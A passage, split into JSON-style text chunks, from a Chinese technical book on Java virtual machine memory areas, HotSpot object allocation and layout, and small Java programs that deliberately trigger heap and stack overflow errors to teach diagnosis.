经常有人把Java内存区域笼统地划分为堆内存（Heap）和栈内存（Stack），这种划分方式直接继承自传统的C、C++程序的内存布局结构，在Java语言里就显得有些粗糙了，实际的内存区域划分要比这更复杂。不过这种划分方式的流行也间接说明了程序员最关注的、与对象内存分配关系最密切的区域是“堆”和“栈”两块。其中，“堆”在稍后笔者会专门讲述，而“栈”通常就是指这里讲的虚拟机栈，或者更多的情况下只是指虚拟机栈中局部变量表部分。 局部变量表存放了编译期可知的各种Java虚拟机基本数据类型（boolean、byte、char、short、int、float、long、double）、对象引用（reference类型，它并不等同于对象本身，可能是一个指向对象起始地址的引用指针，也可能是指向一个代表对象的句柄或者其他与此对象相关的位置）和returnAddress类型（指向了一条字节码指令的地址）。 这些数据类型在局部变量表中的存储空间以局部变量槽（Slot）来表示，其中64位长度的long和double类型的数据会占用两个变量槽，其余的数据类型只占用一个。局部变量表所需的内存空间在编译期间完成分配，当进入一个方法时，这个方法需要在栈帧中分配多大的局部变量空间是完全确定的，在方法运行期间不会改变局部变量表的大小。请读者注意，这里说的“大小”是指变量槽的数量，虚拟机真正使用多大的内存空间（譬如按照1个变量槽占用32个比特、64个比特，或者更多）来实现一个变量槽，这是完全由具体的虚拟机实现自行决定的事情。 在《Java虚拟机规范》中，对这个内存区域规定了两类异常状况：如果线程请求的栈深度大于虚拟机所允许的深度，将抛出StackOverflowError异常；如果Java虚拟机栈容量可以动态扩展 [2] ，当栈扩展时无法申请到足够的内存会抛出OutOfMemoryError异常。 [1] 栈帧是方法运行期很重要的基础数据结构，在本书的第8章中还会对帧进行详细讲解。 [2] HotSpot虚拟机的栈容量是不可以动态扩展的，以前的Classic虚拟机倒是可以。所以在HotSpot虚拟机上是不会由于虚拟机栈无法扩展而导致OutOfMemoryError异常——只要线程申请栈空间成功了就不会有OOM，但是如果申请时就失败，仍然是会出现OOM异常的，后面的实战中笔者也演示了这种情况。本书第2版时这里的描述是有误的，请阅读过第2版的读者特别注意。 2.2.3 本地方法栈 本地方法栈（Native Method Stacks）与虚拟机栈所发挥的作用是非常相似的，其区别只是虚拟机栈为虚拟机执行Java方法（也就是字节码）服务，而本地方法栈则是为虚拟机使用到的本地（Native）方法服务。 《Java虚拟机规范》对本地方法栈中方法使用的语言、使用方式与数据结构并没有任何强制规定，因此具体的虚拟机可以根据需要自由实现它，甚至有的Java虚拟机（譬如Hot-Spot虚拟机）直接就把本地方法栈和虚拟机栈合二为一。与虚拟机栈一样，本地方法栈也会在栈深度溢出或者栈扩展失败时分别抛出StackOverflowError和OutOfMemoryError异常。"},
    {"text": "2.2.4 Java堆 对于Java应用程序来说，Java堆（Java Heap）是虚拟机所管理的内存中最大的一块。Java堆是被所有线程共享的一块内存区域，在虚拟机启动时创建。此内存区域的唯一目的就是存放对象实例，Java世界里“几乎”所有的对象实例都在这里分配内存。在《Java虚拟机规范》中对Java堆的描述是：“所有的对象实例以及数组都应当在堆上分配 [1] ”，而这里笔者写的“几乎”是指从实现角度来看，随着Java语言的发展，现在已经能看到些许迹象表明日后可能出现值类型的支持，即使只考虑现在，由于即时编译技术的进步，尤其是逃逸分析技术的日渐强大，栈上分配、标量替换 [2] 优化手段已经导致一些微妙的变化悄然发生，所以说Java对象实例都分配在堆上也渐渐变得不是那么绝对了。 Java堆是垃圾收集器管理的内存区域，因此一些资料中它也被称作“GC堆”（Garbage Collected Heap，幸好国内没翻译成“垃圾堆”）。从回收内存的角度看，由于现代垃圾收集器大部分都是基于分代收集理论设计的，所以Java堆中经常会出现“新生代”“老年代”“永久代”“Eden空间”“From Survivor空间”“To Survivor空间”等名词，这些概念在本书后续章节中还会反复登场亮相，在这里笔者想先说明的是这些区域划分仅仅是一部分垃圾收集器的共同特性或者说设计风格而已，而非某个Java虚拟机具体实现的固有内存布局，更不是《Java虚拟机规范》里对Java堆的进一步细致划分。不少资料上经常写着类似于“Java虚拟机的堆内存分为新生代、老年代、永久代、Eden、Survivor……”这样的内容。在十年之前（以G1收集器的出现为分界），作为业界绝对主流的HotSpot虚拟机，它内部的垃圾收集器全部都基于“经典分代” [3] 来设计，需要新生代、老年代收集器搭配才能工作，在这种背景下，上述说法还算是不会产生太大歧义。但是到了今天，垃圾收集器技术与十年前已不可同日而语，HotSpot里面也出现了不采用分代设计的新垃圾收集器，再按照上面的提法就有很多需要商榷的地方了。 如果从分配内存的角度看，所有线程共享的Java堆中可以划分出多个线程私有的分配缓冲区（Thread Local Allocation Buffer，TLAB），以提升对象分配时的效率。不过无论从什么角度，无论如何划分，都不会改变Java堆中存储内容的共性，无论是哪个区域，存储的都只能是对象的实例，将Java堆细分的目的只是为了更好地回收内存，或者更快地分配内存。在本章中，我们仅仅针对内存区域的作用进行讨论，Java堆中的上述各个区域的分配、回收等细节将会是下一章的主题。 根据《Java虚拟机规范》的规定，Java堆可以处于物理上不连续的内存空间中，但在逻辑上它应该被视为连续的，这点就像我们用磁盘空间去存储文件一样，并不要求每个文件都连续存放。但对于大对象（典型的如数组对象），多数虚拟机实现出于实现简单、存储高效的考虑，很可能会要求连续的内存空间。 Java堆既可以被实现成固定大小的，也可以是可扩展的，不过当前主流的Java虚拟机都是按照可扩展来实现的（通过参数-Xmx和-Xms设定）。如果在Java堆中没有内存完成实例分配，并且堆也无法再扩展时，Java虚拟机将会抛出OutOfMemoryError异常。 [1] 《Java虚拟机规范》中的原文：The heap is the runtime data area from which memory for all class instances and arrays is allocated。 [2] 逃逸分析与标量替换的相关内容，请参见第11章的相关内容。 [3] 指新生代（其中又包含一个Eden和两个Survivor）、老年代这种划分，源自UC Berkeley在20世纪80年代中期开发的Berkeley Smalltalk。历史上有多款虚拟机采用了这种设计，包括HotSpot和它的前身Self和Strongtalk虚拟机（见第1章），原始论文是：https://dl.acm.org/citation.cfm?id=808261。"},
    {"text": "2.2.5 方法区 方法区（Method Area）与Java堆一样，是各个线程共享的内存区域，它用于存储已被虚拟机加载的类型信息、常量、静态变量、即时编译器编译后的代码缓存等数据。虽然《Java虚拟机规范》中把方法区描述为堆的一个逻辑部分，但是它却有一个别名叫作“非堆”（Non-Heap），目的是与Java堆区分开来。 说到方法区，不得不提一下“永久代”这个概念，尤其是在JDK 8以前，许多Java程序员都习惯在HotSpot虚拟机上开发、部署程序，很多人都更愿意把方法区称呼为“永久代”（Permanent Generation），或将两者混为一谈。本质上这两者并不是等价的，因为仅仅是当时的HotSpot虚拟机设计团队选择把收集器的分代设计扩展至方法区，或者说使用永久代来实现方法区而已，这样使得HotSpot的垃圾收集器能够像管理Java堆一样管理这部分内存，省去专门为方法区编写内存管理代码的工作。但是对于其他虚拟机实现，譬如BEA JRockit、IBM J9等来说，是不存在永久代的概念的。原则上如何实现方法区属于虚拟机实现细节，不受《Java虚拟机规范》管束，并不要求统一。但现在回头来看，当年使用永久代来实现方法区的决定并不是一个好主意，这种设计导致了Java应用更容易遇到内存溢出的问题（永久代有-XX：MaxPermSize的上限，即使不设置也有默认大小，而J9和JRockit只要没有触碰到进程可用内存的上限，例如32位系统中的4GB限制，就不会出问题），而且有极少数方法（例如String::intern()）会因永久代的原因而导致不同虚拟机下有不同的表现。当Oracle收购BEA获得了JRockit的所有权后，准备把JRockit中的优秀功能，譬如Java Mission Control管理工具，移植到HotSpot虚拟机时，但因为两者对方法区实现的差异而面临诸多困难。考虑到HotSpot未来的发展，在JDK 6的时候HotSpot开发团队就有放弃永久代，逐步改为采用本地内存（Native Memory）来实现方法区的计划了 [1] ，到了JDK 7的HotSpot，已经把原本放在永久代的字符串常量池、静态变量等移出，而到了JDK 8，终于完全废弃了永久代的概念，改用与JRockit、J9一样在本地内存中实现的元空间（Meta-space）来代替，把JDK 7中永久代还剩余的内容（主要是类型信息）全部移到元空间中。 《Java虚拟机规范》对方法区的约束是非常宽松的，除了和Java堆一样不需要连续的内存和可以选择固定大小或者可扩展外，甚至还可以选择不实现垃圾收集。相对而言，垃圾收集行为在这个区域的确是比较少出现的，但并非数据进入了方法区就如永久代的名字一样“永久”存在了。这区域的内存回收目标主要是针对常量池的回收和对类型的卸载，一般来说这个区域的回收效果比较难令人满意，尤其是类型的卸载，条件相当苛刻，但是这部分区域的回收有时又确实是必要的。以前Sun公司的Bug列表中，曾出现过的若干个严重的Bug就是由于低版本的HotSpot虚拟机对此区域未完全回收而导致内存泄漏。 根据《Java虚拟机规范》的规定，如果方法区无法满足新的内存分配需求时，将抛出OutOfMemoryError异常。 [1] JEP 122-Remove the Permanent Generation：http://openjdk.java.net/jeps/122。 2.2.6 运行时常量池 运行时常量池（Runtime Constant Pool）是方法区的一部分。Class文件中除了有类的版本、字段、方法、接口等描述信息外，还有一项信息是常量池表（Constant Pool Table），用于存放编译期生成的各种字面量与符号引用，这部分内容将在类加载后存放到方法区的运行时常量池中。 Java虚拟机对于Class文件每一部分（自然也包括常量池）的格式都有严格规定，如每一个字节用于存储哪种数据都必须符合规范上的要求才会被虚拟机认可、加载和执行，但对于运行时常量池，《Java虚拟机规范》并没有做任何细节的要求，不同提供商实现的虚拟机可以按照自己的需要来实现这个内存区域，不过一般来说，除了保存Class文件中描述的符号引用外，还会把由符号引用翻译出来的直接引用也存储在运行时常量池中 [1] 。 运行时常量池相对于Class文件常量池的另外一个重要特征是具备动态性，Java语言并不要求常量一定只有编译期才能产生，也就是说，并非预置入Class文件中常量池的内容才能进入方法区运行时常量池，运行期间也可以将新的常量放入池中，这种特性被开发人员利用得比较多的便是String类的intern()方法。 既然运行时常量池是方法区的一部分，自然受到方法区内存的限制，当常量池无法再申请到内存时会抛出OutOfMemoryError异常。 [1] 关于Class文件格式、符号引用等概念可参见第6章。"},
    {"text": "2.2.7 直接内存 直接内存（Direct Memory）并不是虚拟机运行时数据区的一部分，也不是《Java虚拟机规范》中定义的内存区域。但是这部分内存也被频繁地使用，而且也可能导致OutOfMemoryError异常出现，所以我们放到这里一起讲解。 在JDK 1.4中新加入了NIO（New Input/Output）类，引入了一种基于通道（Channel）与缓冲区（Buffer）的I/O方式，它可以使用Native函数库直接分配堆外内存，然后通过一个存储在Java堆里面的DirectByteBuffer对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能，因为避免了在Java堆和Native堆中来回复制数据。 显然，本机直接内存的分配不会受到Java堆大小的限制，但是，既然是内存，则肯定还是会受到本机总内存（包括物理内存、SWAP分区或者分页文件）大小以及处理器寻址空间的限制，一般服务器管理员配置虚拟机参数时，会根据实际内存去设置-Xmx等参数信息，但经常忽略掉直接内存，使得各个内存区域总和大于物理内存限制（包括物理的和操作系统级的限制），从而导致动态扩展时出现OutOfMemoryError异常。 2.3 HotSpot虚拟机对象探秘 介绍完Java虚拟机的运行时数据区域之后，我们大致明白了Java虚拟机内存模型的概况，相信读者了解过内存中放了什么，也许就会更进一步想了解这些虚拟机内存中数据的其他细节，譬如它们是如何创建、如何布局以及如何访问的。对于这样涉及细节的问题，必须把讨论范围限定在具体的虚拟机和集中在某一个内存区域上才有意义。基于实用优先的原则，笔者以最常用的虚拟机HotSpot和最常用的内存区域Java堆为例，深入探讨一下HotSpot虚拟机在Java堆中对象分配、布局和访问的全过程。"},
    {"text": "2.3.1 对象的创建 Java是一门面向对象的编程语言，Java程序运行过程中无时无刻都有对象被创建出来。 在语言层面上，创建对象通常（例外：复制、反序列化）仅仅是一个new关键字而已，而在虚拟机中，对象（文中讨论的对象限于普通Java对象，不包括数组和Class对象等）的创建又是怎样一个过程呢？"},
    {"text": "当Java虚拟机遇到一条字节码new指令时，首先将去检查这个指令的参数是否能在常量池中定位到一个类的符号引用，并且检查这个符号引用代表的类是否已被加载、解析和初始化过。"},
    {"text": "对象所需内存的大小在类加载完成后便可完全确定（如何确定将在2.3.2节中介绍），为对象分配空间的任务实际上便等同于把一块确定大小的内存块从Java堆中划分出来。 假设Java堆中内存是绝对规整的，所有被使用过的内存都被放在一边，空闲的内存被放在另一边，中间放着一个指针作为分界点的指示器，那所分配内存就仅仅是把那个指针向空闲空间方向挪动一段与对象大小相等的距离，这种分配方式称为“指针碰撞”（Bump The Pointer）。 但如果Java堆中的内存并不是规整的，已被使用的内存和空闲的内存相互交错在一起，那就没有办法简单地进行指针碰撞了，虚拟机就必须维护一个列表，记录上哪些内存块是可用的，在分配的时候从列表中找到一块足够大的空间划分给对象实例，并更新列表上的记录，这种分配方式称为“空闲列表”（Free List）。 选择哪种分配方式由Java堆是否规整决定，而Java堆是否规整又由所采用的垃圾收集器是否带有空间压缩整理（Compact）的能力决定。"},
    {"text": "除如何划分可用空间之外，还有另外一个需要考虑的问题：对象创建在虚拟机中是非常频繁的行为，即使仅仅修改一个指针所指向的位置，在并发情况下也并不是线程安全的，可能出现正在给对象A分配内存，指针还没来得及修改，对象B又同时使用了原来的指针来分配内存的情况。"},
    {"text": "解决这个问题有两种可选方案：一种是对分配内存空间的动作进行同步处理——实际上虚拟机是采用CAS配上失败重试的方式保证更新操作的原子性；"},
    {"text": "另外一种是把内存分配的动作按照线程划分在不同的空间之中进行，即每个线程在Java堆中预先分配一小块内存，称为本地线程分配缓冲（Thread Local Allocation Buffer，TLAB），哪个线程要分配内存，就在哪个线程的本地缓冲区中分配，只有本地缓冲区用完了，分配新的缓存区时才需要同步锁定。"},
    {"text": "内存分配完成之后，虚拟机必须将分配到的内存空间（但不包括对象头）都初始化为零值，如果使用了TLAB的话，这一项工作也可以提前至TLAB分配时顺便进行。"},
    {"text": "接下来，Java虚拟机还要对对象进行必要的设置，例如这个对象是哪个类的实例、如何才能找到类的元数据信息、对象的哈希码（实际上对象的哈希码会延后到真正调用Object::hashCode()方法时才计算）、对象的GC分代年龄等信息。"},
    {"text": "但是从Java程序的视角看来，对象创建才刚刚开始——构造函数，即Class文件中的<init>()方法还没有执行，所有的字段都为默认的零值，对象需要的其他资源和状态信息也还没有按照预定的意图构造好。 一般来说（由字节码流中new指令后面是否跟随invokespecial指令所决定，Java编译器会在遇到new关键字的地方同时生成这两条字节码指令，但如果直接通过其他方式产生的则不一定如此），new指令之后会接着执行<init>()方法，按照程序员的意愿对对象进行初始化，这样一个真正可用的对象才算完全被构造出来。"},
    {"text": "代码清单2-1 HotSpot解释器代码片段 // 确保常量池中存放的是已解释的类 if (!constants->tag_at(index).is_unresolved_klass()) { // 断言确保是klassOop和instanceKlassOop（这部分下一节介绍） oop entry = (klassOop) *constants->obj_at_addr(index); assert(entry->is_klass(), \"Should be resolved klass\"); klassOop k_entry = (klassOop) entry; assert(k_entry->klass_part()->oop_is_instance(), \"Should be instanceKlass\"); instanceKlass* ik = (instanceKlass*) k_entry->klass_part(); // 确保对象所属类型已经经过初始化阶段 if ( ik->is_initialized() && ik->can_be_fastpath_allocated() ) { // 取对象长度 size_t obj_size = ik->size_helper(); oop result = NULL; // 记录是否需要将对象所有字段置零值 bool need_zero = !ZeroTLAB; // 是否在TLAB中分配对象 if (UseTLAB) { result = (oop) THREAD->tlab().allocate(obj_size); } if (result == NULL) { need_zero = true; // 直接在eden中分配对象 retry: HeapWord* compare_to = *Universe::heap()->top_addr(); HeapWord* new_top = compare_to + obj_size; // cmpxchg是x86中的CAS指令，这里是一个C++方法，通过CAS方式分配空间，并发失败的 话，转到retry中重试直至成功分配为止 if (new_top <= *Universe::heap()->end_addr()) { if (Atomic::cmpxchg_ptr(new_top, Universe::heap()->top_addr(), compare_to) != compare_to) { goto retry; } result = (oop) compare_to; } } if (result != NULL) { // 如果需要，为对象初始化零值 if (need_zero ) { HeapWord* to_zero = (HeapWord*) result + sizeof(oopDesc) / oopSize; obj_size -= sizeof(oopDesc) / oopSize; if (obj_size > 0 ) { memset(to_zero, 0, obj_size * HeapWordSize); } } // 根据是否启用偏向锁，设置对象头信息 if (UseBiasedLocking) { result->set_mark(ik->prototype_header()); } else { result->set_mark(markOopDesc::prototype()); } result->set_klass_gap(0); result->set_klass(k_entry); // 将对象引用入栈，继续执行下一条指令 SET_STACK_OBJECT(result, 0); UPDATE_PC_AND_TOS_AND_CONTINUE(3, 1); } } } [1] 强调“理论上”是因为在CMS的实现里面，为了能在多数情况下分配得更快，设计了一个叫作Linear Allocation Buffer的分配缓冲区，通过空闲列表拿到一大块分配缓冲区之后，在它里面仍然可以使用指针碰撞方式来分配。"},
    {"text": "2.3.2 对象的内存布局 在HotSpot虚拟机里，对象在堆内存中的存储布局可以划分为三个部分：对象头（Header）、实例数据（Instance Data）和对齐填充（Padding）。 HotSpot虚拟机对象的对象头部分包括两类信息。第一类是用于存储对象自身的运行时数据，如哈希码（HashCode）、GC分代年龄、锁状态标志、线程持有的锁、偏向线程ID、偏向时间戳等，这部分数据的长度在32位和64位的虚拟机（未开启压缩指针）中分别为32个比特和64个比特，官方称它为“Mark Word”。对象需要存储的运行时数据很多，其实已经超出了32、64位Bitmap结构所能记录的最大限度，但对象头里的信息是与对象自身定义的数据无关的额外存储成本，考虑到虚拟机的空间效率，Mark Word被设计成一个有着动态定义的数据结构，以便在极小的空间内存储尽量多的数据，根据对象的状态复用自己的存储空间。例如在32位的HotSpot虚拟机中，如对象未被同步锁锁定的状态下，Mark Word的32个比特存储空间中的25个比特用于存储对象哈希码，4个比特用于存储对象分代年龄，2个比特用于存储锁标志位，1个比特固定为0，在其他状态（轻量级锁定、重量级锁定、GC标记、可偏向） [1] 下对象的存储内容如表2-1所示。 表2-1 HotSpot虚拟机对象头Mark Word 对象头的另外一部分是类型指针，即对象指向它的类型元数据的指针，Java虚拟机通过这个指针来确定该对象是哪个类的实例。并不是所有的虚拟机实现都必须在对象数据上保留类型指针，换句话说，查找对象的元数据信息并不一定要经过对象本身，这点我们会在下一节具体讨论。此外，如果对象是一个Java数组，那在对象头中还必须有一块用于记录数组长度的数据，因为虚拟机可以通过普通Java对象的元数据信息确定Java对象的大小，但是如果数组的长度是不确定的，将无法通过元数据中的信息推断出数组的大小。 代码清单2-2为HotSpot虚拟机代表Mark Word中的代码（markOop.cpp）注释片段，它描述了32位虚拟机Mark Word的存储布局： 代码清单2-2 markOop.cpp片段 // Bit-format of an object header (most significant first, big endian layout below): // // 32 bits: // -------- // hash:25 ------------>| age:4 biased_lock:1 lock:2 (normal object) // JavaThread*:23 epoch:2 age:4 biased_lock:1 lock:2 (biased object) // size:32 ------------------------------------------>| (CMS free block) // PromotedObject*:29 ---------->| promo_bits:3 ----->| (CMS promoted object) 接下来实例数据部分是对象真正存储的有效信息，即我们在程序代码里面所定义的各种类型的字段内容，无论是从父类继承下来的，还是在子类中定义的字段都必须记录起来。这部分的存储顺序会受到虚拟机分配策略参数（-XX：FieldsAllocationStyle参数）和字段在Java源码中定义顺序的影响。HotSpot虚拟机默认的分配顺序为longs/doubles、ints、shorts/chars、bytes/booleans、oops（Ordinary Object Pointers，OOPs），从以上默认的分配策略中可以看到，相同宽度的字段总是被分配到一起存放，在满足这个前提条件的情况下，在父类中定义的变量会出现在子类之前。如果HotSpot虚拟机的+XX：CompactFields参数值为true（默认就为true），那子类之中较窄的变量也允许插入父类变量的空隙之中，以节省出一点点空间。 对象的第三部分是对齐填充，这并不是必然存在的，也没有特别的含义，它仅仅起着占位符的作用。由于HotSpot虚拟机的自动内存管理系统要求对象起始地址必须是8字节的整数倍，换句话说就是任何对象的大小都必须是8字节的整数倍。对象头部分已经被精心设计成正好是8字节的倍数（1倍或者2倍），因此，如果对象实例数据部分没有对齐的话，就需要通过对齐填充来补全。 [1] 关于轻量级锁、重量级锁等信息，可参见本书第13章的相关内容。"},
    {"text": "2.3.3 对象的访问定位 创建对象自然是为了后续使用该对象，我们的Java程序会通过栈上的reference数据来操作堆上的具体对象。由于reference类型在《Java虚拟机规范》里面只规定了它是一个指向对象的引用，并没有定义这个引用应该通过什么方式去定位、访问到堆中对象的具体位置，所以对象访问方式也是由虚拟机实现而定的，主流的访问方式主要有使用句柄和直接指针两种： ·如果使用句柄访问的话，Java堆中将可能会划分出一块内存来作为句柄池，reference中存储的就是对象的句柄地址，而句柄中包含了对象实例数据与类型数据各自具体的地址信息，其结构如图2-2所示。 ·如果使用直接指针访问的话，Java堆中对象的内存布局就必须考虑如何放置访问类型数据的相关信息，reference中存储的直接就是对象地址，如果只是访问对象本身的话，就不需要多一次间接访问的开销，如图2-3所示。 这两种对象访问方式各有优势，使用句柄来访问的最大好处就是reference中存储的是稳定句柄地址，在对象被移动（垃圾收集时移动对象是非常普遍的行为）时只会改变句柄中的实例数据指针，而reference本身不需要被修改。 图2-2 通过句柄访问对象 图2-3 通过直接指针访问对象 使用直接指针来访问最大的好处就是速度更快，它节省了一次指针定位的时间开销，由于对象访问在Java中非常频繁，因此这类开销积少成多也是一项极为可观的执行成本，就本书讨论的主要虚拟机HotSpot而言，它主要使用第二种方式进行对象访问（有例外情况，如果使用了Shenandoah收集器的话也会有一次额外的转发，具体可参见第3章），但从整个软件开发的范围来看，在各种语言、框架中使用句柄来访问的情况也十分常见。 2.4 实战：OutOfMemoryError异常 在《Java虚拟机规范》的规定里，除了程序计数器外，虚拟机内存的其他几个运行时区域都有发生OutOfMemoryError（下文称OOM）异常的可能，本节将通过若干实例来验证异常实际发生的代码场景（代码清单2-3～2-9），并且将初步介绍若干最基本的与自动内存管理子系统相关的HotSpot虚拟机参数。 本节实战的目的有两个：第一，通过代码验证《Java虚拟机规范》中描述的各个运行时区域储存的内容；第二，希望读者在工作中遇到实际的内存溢出异常时，能根据异常的提示信息迅速得知是哪个区域的内存溢出，知道怎样的代码可能会导致这些区域内存溢出，以及出现这些异常后该如何处理。 本节代码清单开头都注释了执行时需要设置的虚拟机启动参数（注释中“VM Args”后面跟着的参数），这些参数对实验的结果有直接影响，请读者调试代码的时候不要忽略掉。如果读者使用控制台命令来执行程序，那直接跟在Java命令之后书写就可以。如果读者使用Eclipse，则可以参考图2-4在Debug/Run页签中的设置，其他IDE工具均有类似的设置。 图2-4 在Eclipse的Debug页签中设置虚拟机参数 本节所列的代码均由笔者在基于OpenJDK 7中的HotSpot虚拟机上进行过实际测试，如无特殊说明，对其他OpenJDK版本也应当适用。不过读者需意识到内存溢出异常与虚拟机本身的实现细节密切相关，并非全是Java语言中约定的公共行为。因此，不同发行商、不同版本的Java虚拟机，其需要的参数和程序运行的结果都很可能会有所差别。"},
    {"text": "2.4.1 Java堆溢出 Java堆用于储存对象实例，我们只要不断地创建对象，并且保证GC Roots到对象之间有可达路径来避免垃圾回收机制清除这些对象，那么随着对象数量的增加，总容量触及最大堆的容量限制后就会产生内存溢出异常。 代码清单2-3中限制Java堆的大小为20MB，不可扩展（将堆的最小值-Xms参数与最大值-Xmx参数设置为一样即可避免堆自动扩展），通过参数-XX：+HeapDumpOnOutOf-MemoryError可以让虚拟机在出现内存溢出异常的时候Dump出当前的内存堆转储快照以便进行事后分析 [1] 。 代码清单2-3 Java堆内存溢出异常测试 /** * VM Args：-Xms20m -Xmx20m -XX:+HeapDumpOnOutOfMemoryError * @author zzm */ public class HeapOOM { static class OOMObject { } public static void main(String[] args) { List<OOMObject> list = new ArrayList<OOMObject>(); while (true) { list.add(new OOMObject()); } } } 运行结果： java.lang.OutOfMemoryError: Java heap space Dumping heap to java_pid3404.hprof ... Heap dump file created [22045981 bytes in 0.663 secs] Java堆内存的OutOfMemoryError异常是实际应用中最常见的内存溢出异常情况。出现Java堆内存溢出时，异常堆栈信息“java.lang.OutOfMemoryError”会跟随进一步提示“Java heap space”。 要解决这个内存区域的异常，常规的处理方法是首先通过内存映像分析工具（如Eclipse Memory Analyzer）对Dump出来的堆转储快照进行分析。第一步首先应确认内存中导致OOM的对象是否是必要的，也就是要先分清楚到底是出现了内存泄漏（Memory Leak）还是内存溢出（Memory Overflow）。图2-5显示了使用Eclipse Memory Analyzer打开的堆转储快照文件。 如果是内存泄漏，可进一步通过工具查看泄漏对象到GC Roots的引用链，找到泄漏对象是通过怎样的引用路径、与哪些GC Roots相关联，才导致垃圾收集器无法回收它们，根据泄漏对象的类型信息以及它到GC Roots引用链的信息，一般可以比较准确地定位到这些对象创建的位置，进而找出产生内存泄漏的代码的具体位置。 图2-5 使用Eclipse Memory Analyzer打开的堆转储快照文件 如果不是内存泄漏，换句话说就是内存中的对象确实都是必须存活的，那就应当检查Java虚拟机的堆参数（-Xmx与-Xms）设置，与机器的内存对比，看看是否还有向上调整的空间。再从代码上检查是否存在某些对象生命周期过长、持有状态时间过长、存储结构设计不合理等情况，尽量减少程序运行期的内存消耗。 以上是处理Java堆内存问题的简略思路，处理这些问题所需要的知识、工具与经验是后面三章的主题，后面我们将会针对具体的虚拟机实现、具体的垃圾收集器和具体的案例来进行分析，这里就先暂不展开。 [1] 关于堆转储快照文件分析方面的内容，可参见第4章。"},
    {"text": "2.4.2 虚拟机栈和本地方法栈溢出 由于HotSpot虚拟机中并不区分虚拟机栈和本地方法栈，因此对于HotSpot来说，-Xoss参数（设置本地方法栈大小）虽然存在，但实际上是没有任何效果的，栈容量只能由-Xss参数来设定。"},
    {"text": "关于虚拟机栈和本地方法栈，在《Java虚拟机规范》中描述了两种异常： 1）如果线程请求的栈深度大于虚拟机所允许的最大深度，将抛出StackOverflowError异常。 2）如果虚拟机的栈内存允许动态扩展，当扩展栈容量无法申请到足够的内存时，将抛出OutOfMemoryError异常。 《Java虚拟机规范》明确允许Java虚拟机实现自行选择是否支持栈的动态扩展，而HotSpot虚拟机的选择是不支持扩展，所以除非在创建线程申请内存时就因无法获得足够内存而出现OutOfMemoryError异常，否则在线程运行时是不会因为扩展而导致内存溢出的，只会因为栈容量无法容纳新的栈帧而导致StackOverflowError异常。 为了验证这点，我们可以做两个实验，先将实验范围限制在单线程中操作，尝试下面两种行为是否能让HotSpot虚拟机产生OutOfMemoryError异常： ·使用-Xss参数减少栈内存容量。"},
    {"text": "代码清单2-4 虚拟机栈和本地方法栈测试（作为第1点测试程序） /** * VM Args：-Xss128k * @author zzm */ public class JavaVMStackSOF { private int stackLength = 1; public void stackLeak() { stackLength++; stackLeak(); } public static void main(String[] args) throws Throwable { JavaVMStackSOF oom = new JavaVMStackSOF(); try { oom.stackLeak(); } catch (Throwable e) { System.out.println(\"stack length:\" + oom.stackLength); throw e; } } } 运行结果： stack length:2402 Exception in thread \"main\" java.lang.StackOverflowError at org.fenixsoft.oom. JavaVMStackSOF.leak(JavaVMStackSOF.java:20) at org.fenixsoft.oom. JavaVMStackSOF.leak(JavaVMStackSOF.java:21) at org.fenixsoft.oom. JavaVMStackSOF.leak(JavaVMStackSOF.java:21) ……后续异常堆栈信息省略 对于不同版本的Java虚拟机和不同的操作系统，栈容量最小值可能会有所限制，这主要取决于操作系统内存分页大小。 譬如上述方法中的参数-Xss128k可以正常用于32位Windows系统下的JDK 6，但是如果用于64位Windows系统下的JDK 11，则会提示栈容量最小不能低于180K，而在Linux下这个值则可能是228K，如果低于这个最小限制，HotSpot虚拟器启动时会给出如下提示： The Java thread stack size specified is too small. Specify at least 228k 我们继续验证第二种情况，这次代码就显得有些“丑陋”了，为了多占局部变量表空间，笔者不得不定义一长串变量，具体如代码清单2-5所示。 代码清单2-5 虚拟机栈和本地方法栈测试（作为第2点测试程序） /** * @author zzm */ public class JavaVMStackSOF { private static int stackLength = 0; public static void test() { long unused1, unused2, unused3, unused4, unused5, unused6, unused7, unused8, unused9, unused10, unused11, unused12, unused13, unused14, unused15, unused16, unused17, unused18, unused19, unused20, unused21, unused22, unused23, unused24, unused25, unused26, unused27, unused28, unused29, unused30, unused31, unused32, unused33, unused34, unused35, unused36, unused37, unused38, unused39, unused40, unused41, unused42, unused43, unused44, unused45, unused46, unused47, unused48, unused49, unused50, unused51, unused52, unused53, unused54, unused55, unused56, unused57, unused58, unused59, unused60, unused61, unused62, unused63, unused64, unused65, unused66, unused67, unused68, unused69, unused70, unused71, unused72, unused73, unused74, unused75, unused76, unused77, unused78, unused79, unused80, unused81, unused82, unused83, unused84, unused85, unused86, unused87, unused88, unused89, unused90, unused91, unused92, unused93, unused94, unused95, unused96, unused97, unused98, unused99, unused100; stackLength ++; test(); unused1 = unused2 = unused3 = unused4 = unused5 = unused6 = unused7 = unused8 = unused9 = unused10 = unused11 = unused12 = unused13 = unused14 = unused15 = unused16 = unused17 = unused18 = unused19 = unused20 = unused21 = unused22 = unused23 = unused24 = unused25 = unused26 = unused27 = unused28 = unused29 = unused30 = unused31 = unused32 = unused33 = unused34 = unused35 = unused36 = unused37 = unused38 = unused39 = unused40 = unused41 = unused42 = unused43 = unused44 = unused45 = unused46 = unused47 = unused48 = unused49 = unused50 = unused51 = unused52 = unused53 = unused54 = unused55 = unused56 = unused57 = unused58 = unused59 = unused60 = unused61 = unused62 = unused63 = unused64 = unused65 = unused66 = unused67 = unused68 = unused69 = unused70 = unused71 = unused72 = unused73 = unused74 = unused75 = unused76 = unused77 = unused78 = unused79 = unused80 = unused81 = unused82 = unused83 = unused84 = unused85 = unused86 = unused87 = unused88 = unused89 = unused90 = unused91 = unused92 = unused93 = unused94 = unused95 = unused96 = unused97 = unused98 = unused99 = unused100 = 0; } public static void main(String[] args) { try { test(); }catch (Error e){ System.out.println(\"stack length:\" + stackLength); throw e; } } } 运行结果： stack length:5675 Exception in thread \"main\" java.lang.StackOverflowError at org.fenixsoft.oom. JavaVMStackSOF.leak(JavaVMStackSOF.java:27) at org.fenixsoft.oom. JavaVMStackSOF.leak(JavaVMStackSOF.java:28) at org.fenixsoft.oom. JavaVMStackSOF.leak(JavaVMStackSOF.java:28) ……后续异常堆栈信息省略 实验结果表明：无论是由于栈帧太大还是虚拟机栈容量太小，当新的栈帧内存无法分配的时候，HotSpot虚拟机抛出的都是StackOverflowError异常。"},
